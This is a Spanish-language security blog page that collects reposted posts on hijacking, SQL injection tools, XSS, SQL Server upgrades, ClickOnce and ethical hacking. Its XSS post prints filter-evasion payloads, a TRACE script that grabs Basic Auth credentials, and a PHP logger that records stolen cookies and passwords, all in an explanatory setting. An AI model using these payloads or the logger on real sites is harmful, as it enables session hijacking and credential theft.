Archivos de la categoría ‘Seguridad Informatica’

Leyendo un artículo sobre ajax, me encontre con una palabra que nunca había escuchado “Hijacking” , entonces me dió muchisima curiosidad de saber que significaba. Lo único que se me paso por la mente fue “Hacking” o talvez algo relacionado al robo de información.

Pero para salir de la duda busque en la grandiosa Wikipedia, y encontre lo siguiente:

Hijacking significa “Secuestro” en inglés y en el ámbito informático hace referencia a toda técnica ilegal que lleve consigo el adueñamiento o robo de algo (generalmente información) por parte de un atacante, es por tanto un concepto muy abierto y que puede aplicarse a varios ámbitos, de esta manera podemos encontramos con el adueñamiento o secuestro de conexiones de red, sesiones de terminal, servicios, modems y un largo etc. en cuanto a servicios informáticos se refiere.

Algunos ejemplos de Hijacking

  • IP hijacking: Secuestro de una conexión TCP/IP por ejemplo durante una sesión Telnet permitiendo a un atacante inyectar comandos o realizar un DoS durante dicha sesión.
  • Page hijacking: Secuestro de página web. Hace referencia a las modificaciones que un atacante realiza sobre una página web, normalmente haciendo uso de algun bug de seguridad del servidor o de programación del sitio web, también es conocido como defacement o desfiguración.
  • Reverse domain hijacking o Domain hijacking: Secuestro de dominio
  • Session hijacking: Secuestro de sesión
  • Browser hijacking: Secuestro del navegador. Se llama así al efecto de apropiación que realizan algunos spyware sobre el navegador web lanzando popups, modificando la página de inicio, modificando la página de búsqueda predeterminada etc.
  • Modem hijacking: Secuestro del Modem. Esta expresión es en ocasiones utilizada para referirse a la estafa de los famosos dialers que tanta guerra dieron en su día (antes del auge del ADSL) y que configuran sin el consentimiento del usuario nuevas conexiones a números de cobro extraordinario.
  • Thread hijacking: Secuestro de un “tema” dentro de un foro de discusión de internet. Este termino hace referencia a la situación que ocurre cuando dentro de un tema de discusión en un foro alguien intenta dirigir el hilo de la conversación hacia asuntos que no tienen nada que ver con el tema inicial. Esto puede realizarse de manera intencionada para irritar al autor del tema o bien producirse de manera natural y no intencionada generalmente por usuarios sin mucho conocimiento en el asunto a tratar o que desconocen la dinámica de comportamiento de los foros.
Anuncios

Navegando encontre esta información de suma importancia para cualquier desarrollador web,aunque creo que este update para el Visual Studio 2005 ya salio hace tiempo,espero que les sirva aqui les dejo el link para que le den una mirada:

Microsoft Anti-Cross Site Scripting Library V1.5 : http://www.microsoft.com/downloads/details.aspx?FamilyID=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en

algunos diran ¿ XSS!!??, así que calma…. si no saben que es el Cross Site Scripting lean esto ¿Que es XSS?

Saludos.

Una fallo de inyección de SQL (o SQL Injection en inglés) es …

…es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté incrustado dentro de otro.

Fuente

Según estadísticas publicadas por WhiteHack Security, los fallos de inyección de SQL y otro tipo de vulnerabilidades afectan a un gran número de sitios web, por lo que el uso de herramientas automatizadas que detecten posibles problemas de seguridad son más que recomendables.

En Security-Hacks, han publicado una lista de herramientas destinadas a encontrar y explotar vulnerabilidades de inyección de SQL.

  1. SQLIer
  2. SQLbftools
  3. SQL Injection Brute-forcer
  4. SQLBrute
  5. BobCat
  6. SQLMap
  7. Absinthe
  8. SQL Injection Pen-testing Tool
  9. SQID
  10. Blind SQL Injection Perl Tool
  11. SQL Power Injector
  12. FJ-Injector Framwork
  13. SQLNinja
  14. Automagic SQL Injector
  15. NGSS SQL Injector

Para evitar este tipo de ataques se debe hacer uso de consultas parametrizadas o funciones que el lenguaje de programación provea para este fin, en lo posible no debemos reinventar la rueda y hacer funciones que algunas veces no sirven de nada.

Navegando encontre una nueva palabra “XSS” que al principio no tenía ni idea de lo que significaba, pero leyendo algunos artículos sobre el tema, me di cuenta que es muy importante que todos los desarrolladores Web sepamos de que se trata, por eso les dejo este artículo extraido de la WIKIPEDIA.
Introduccion
XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. Su nombre, del inglés “Cross Site Scripting”, y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de “scripting”, como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a llamar a los ataques de XSS “HTML Injection”, sin embargo el término correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente.

  • Directa: Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>
  • Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.

Indirecta
Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script de jasildbg. Sólo colócalo en la barra de direcciones, y presiona Enter.
javascript:for(var g in document.cookie.split(‘;’))void(prompt(“Valor de cookie “+document.cookie.split(‘;’)[g].split(‘=’)[0],document.cookie.split(‘;’)[g].split(‘=’)[1]));alert
(“Cookies:\n”+document.cookie.replace(/;/,”\r\n”));

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.

¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.
Usando FrameSets
Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Qué pasara si pones en esa URL?
javascript:while(1)alert(“Te estoy inundando de mensajes!”);
Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.

Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.

El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo el PHPSESSID, y si el usuario cierra sesión no sirve de nada.

Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.

Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás en otra. Introduces tu contraseña y la fastidiaste.

Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
Mensaje personalizado
La técnica sólo funciona con imágenes:
error.php?error=Usuario%20Invalido
Esa página es vulnerable a XSS indirecto.

Un <script> que cree otra sesión bajo otro usuario y tu sesión actual la mande al atacante (lo explicado de cURL más arriba), puede causar estragos.

Este código (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:
<script>
document.documentElement.innerHTML=”NADA”;
</script>
Directa
Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso, o incluso un <u> o <s>. Tags que casi siempre están permitidos.
Ejemplos de Scripts donde no son comunes de encontrar
<BR SIZE=”&{alert(‘XSS’)}”>
<FK STYLE=”behavior: url(http://yoursite/xss.htc);”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
Usar estilos es increíblemente fácil, y lo malo es que muchos filtros son vulnerables. Se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, como por ejemplo alert(‘Hola’):
<div fu=”alert(‘Hola’);” STYLE=”background-image: url(javascript:eval(this.fu))”>
Ajax
Éste es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.
Script para obtener credenciales en tipo BASIC
Esta tecnica también es llamada XST Cross Site Tracing XST
var xmlhttp=new ActiveXObject(“Microsoft.XMLHTTP”);

// para firefox, es: var xmlhttp = new XMLHttpRequest();

xmlhttp.open(“TRACE”,”./”,false);

xmlhttp.send(null);

str1=xmlhttp.responseText;

splitString = str1.split(“Authorization: Basic “);

str2=splitString[1];

str3=str2.match(/.*/)[0];

alert(str3);
Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.
log.php para registrar cookies
<?php

$archivo = fopen(‘log2.htm’,’a’);

$cookie = $_GET[‘c’];

$usuario = $_GET[‘id’];

$ip = getenv (‘REMOTE_ADDR’);

$re = $HTTPREFERRER;

$fecha=date(“j F, Y, g:i a”);

fwrite($archivo, ‘<hr>USUARIO Y PASSWORD: ‘.htmlentities(base64_decode($usuario)));
fwrite($archivo, ‘<br>Cookie: ‘.htmlentities($cookie).'<br>Pagina: ‘.htmlentities($re));
fwrite($archivo, ‘<br> IP: ‘ .$ip. ‘<br> Fecha y Hora: ‘ .$fecha. ‘</hr>’);

fclose($archivo);

?>

Navegando en la web encontre este artículo el cual nos brinda una serie de links los cuales los veo muy interesantes.

Estos temas son parte de los que se han presentado durante los eventos del Solid Quality Summit 2007.

* Han desarrollado para Microsoft la “guía oficial”: SQL Server 2005 Upgrade Technical Reference Guide.
Esta guía es un documento de 400 páginas explicando en detalle lo necesario a considerar en un proceso de actualización.
Se puede bajar aquí: http://www.microsoft.com/downloads/details.aspx?FamilyID=3d5e96d9-0074-46c4-bd4f-c3eb2abf4b66&DisplayLang=en

* Han grabado (en español) 4 webcasts sobre el tema.
Las direcciones para verlos están aquí en el blog de Javier: http://blogs.solidq.com/ES/jloria/Lists/Posts/Post.aspx?ID=7

* SQL Server 2005 Upgrade Handbook, es una guía rápida escrita por miembros de Solid Quality.
Publicada en el sitio web de Microsoft: http://www.microsoft.com/technet/prodtechnol/sql/2005/sqlupgrd.mspx

* Página oficial de Microsoft con más documentación sobre actualización hacia SQL Server 2005: http://www.microsoft.com/sql/solutions/upgrade/default.mspx

Fuente: Blog de Adolfo Wiernik

Sistema para distribución y actualización de aplicaciones
de .NET Framework 2.0

Introducción

Como seguramente ya sabrás, ClickOnce permite instalar una aplicación desde cualquier sitio, incluso desde un sitio Web.
La “gracia” de este sistema de instalación es que cuando se ejecute la aplicación instalada con ClickOnce, la aplicación buscará nuevas actualizaciones de forma automática, y si la hubiera, te preguntará si la quieres instalar.

También se encargará de instalar los requisitos que esa aplicación necesite, por tanto, si nunca has trabajado con una aplicación que use el .NET Framework 2.0, éste se instalará en tu máquina.

Debes saber, que en la fecha que publico esta página, (27 de Octubre de 2005), ya está la versión definitiva de .NET Framework 2.0, por tanto, lo que se instalará usando los ejemplos sacados del GUILLE.info, NO será una beta, sino la versión final.

Y para empezar, la primera aplicación de consola que he hecho con el Visual Basic 2005 Express, osea que está recién salida del horno.

¿Cómo funciona el ClickOnce?

Cuando pulses en el link, te mostrará una ventana como esta, en la que, además de la información de la aplicación, también te indicará los requisitos que no tienes instalado para que funcione, en este ejemplo solo el runtime de .NET Framework 2.0, tal como vemos en la Siguiente figura:
clickonce_01.jpg

Cuando pulses en Install, te preguntará que quieres hacer, si bajar el ejecutable o ejecutarlo directamente, puedes hacer las dos cosas, ya que siempre lo bajará primero. Pero si decides indicar que lo guarde, tendrás que ejecutarlo y después de las advertencias del Windows XP con SP2 (si es que tienes ese sistema operativo), te pedirá que aceptes el contrato de licencia y esas cosas que siempre piden los programas.

Y una vez aceptado, empezará a bajar los requisitos necesarios:

clickonce_02.png

En este caso, bajará solamente el .NET Framework 2.0, y empezará la instalación, primero del .NET Framework 2.0 (si es que no lo tienes instalado):
clickonce_03.png

La ventaja del .NET Framework, es que no te pide que reinicies el equipo, al menos a mi no me lo ha pedido. Yo tengo el Windows XP Professional con Service Pack 2 y todas las actualizaciones habidas y por haber… o casi.

De todas formas, siempre es conveniente de que lo reinicies después de que se instale el .NET 2.0.
También vamo a indicarle en las opciones de la ficha de “publicación” que no use la extensión .deploy, tal como podemos ver en la figura, todo irá como es de esperar.

clickonce_05.png
Como te decía, después de que se hayan instalados los requisitos, (en nuestro ejemplo sólo el runtime del .NET Framework 2.0), seguiremos con la instalación.
clickonce_06.png

Una vez comprobado que todo está bien en nuestra máquina, nos preguntará si queremos instalar la aplicación, ver figura 7, le diremos que sí, que se fíe de ella.
clickonce_07.png

Tal como vemos en la figura 8, empezará el proceso de instalación, bajándose el ejecutable, en estos casos, desde mi sitio.
clickonce_08.png

Y cuando haya terminado, se ejecutará, tal como vemos en la figura.
clickonce_09.png

Para ver el articulo con mas detalles visita http://www.elguille.info ya que es el sitio de donde he sacado este artículo.

Hoy día hay una enorme necesidad de seguridad en las redes de computadoras. Pero esto no es casualidad: nuestra vida diaria depende de una manera impresionante de los sistemas informáticos.

Además, la evolución rápida y la demanda por la tecnología han traído como consecuencia que los programadores de software, en muchas ocasiones, releguen la seguridad a segunda prioridad.

Es ante esta falta de seguridad donde hacen su festín los hackers. Desde individuos a corporaciones multimillonarias caen víctimas de estos piratas informáticos a diario.

Y es aquí donde entonces juega un papel relevante el Ethical Hacking o Hacking Ético. Una disciplina de la seguridad de redes que se sustenta en el hecho de que para estar protegido se debe conocer cómo operan y qué herramientas usan los hackers.

Estos llamados hackers éticos (PEN-TESTER, por sus siglas en inglés) desarrollan lo que en la jerga de seguridad se conoce como Prueba de Penetración, (PEN-TEST por sus siglas en inglés).

Durante este proceso se realiza una prueba manual, intensiva y controlada y de común acuerdo con el cliente usando las herramientas y técnicas usadas por los hackers. Entonces se explotan las vulnerabilidades que existan en el sistema “objetivo” para ganar acceso y “demostrar” que un sistema es violable.

Este tipo de prueba es favorito de las juntas directivas de las empresas porque permite realmente evaluar si una determinada compañía será víctima y que tan cercano a la realidad es el riesgo.

El hacker ético intentará penetrar desde fuera de la red de la compañía, o sea desde internet. O podría realizar la prueba simulando ser un hacker interno desde dentro.

Dependiendo de si el desarrollo de la prueba es conocida por el personal de informática o no, entonces encontramos dos modalidades: Red Teaming y Blue Teaming.

En la primera, una prueba encubierta, sólo un selecto grupo de ejecutivos la conoce. Aquí se pueden usar técnicas de Ingeniería Social para obtener información que permita el ataque.

En la segunda, el personal de informática conoce sobre el PEN-TEST. La primera, evidentemente, es más real y evita que se realicen “cambios de última hora” para tratar de adecuar la red, previo a la prueba.

Para la realización de una Prueba de Penetración hay varios aspectos legales que deben ser tomados en cuenta, tanto por el PEN-TESTER como por la compañía que contrata.

Estos aspectos incluyen, entre otros, el tema de la confidencialidad, de forma tal que la información recibida por el consultor no sea usada más allá de los fines de la prueba.

Se debe contemplar claramente en el contrato cuál es el objetivo de la prueba. Ejemplos de ello podría ser un sitio web, o un servidor de intranet.

La compañía “objetivo” o aquella que contrata debe garantizar la certeza y exactitud de la información que provee al PEN-TESTER.

Es decir, esta información debe ser fidedigna, de tal forma que la prueba no arroje resultados sesgados.

También es importante definir el tiempo total de la prueba, que debe incluir el tiempo de ejecución de la prueba y la entrega del reporte con los resultados.

Un tema importante es la responsabilidad del PEN-TESTER en términos económicos. Esta por lo general no es mayor al valor del contrato.

Finalmente, existe confusión sobre las diferencias entre una Prueba de Penetración y un Análisis de Vulnerabilidades.

Esta última es también una prueba, pero más automática, realizada con un software que asocia las vulnerabilidades encontradas con computadoras, servidores y aplicaciones en una red.

Dada su naturaleza automática, son limitadas las posibilidades de simular las capacidades de los hackers, y además, en ocasiones se obtienen “falsos positivos” o resultados que indican una vulnerabilidad que realmente no existe.

Articulo extraido de:
http://www.prensa.com/Actualidad/Tecnologia/2005/08/31/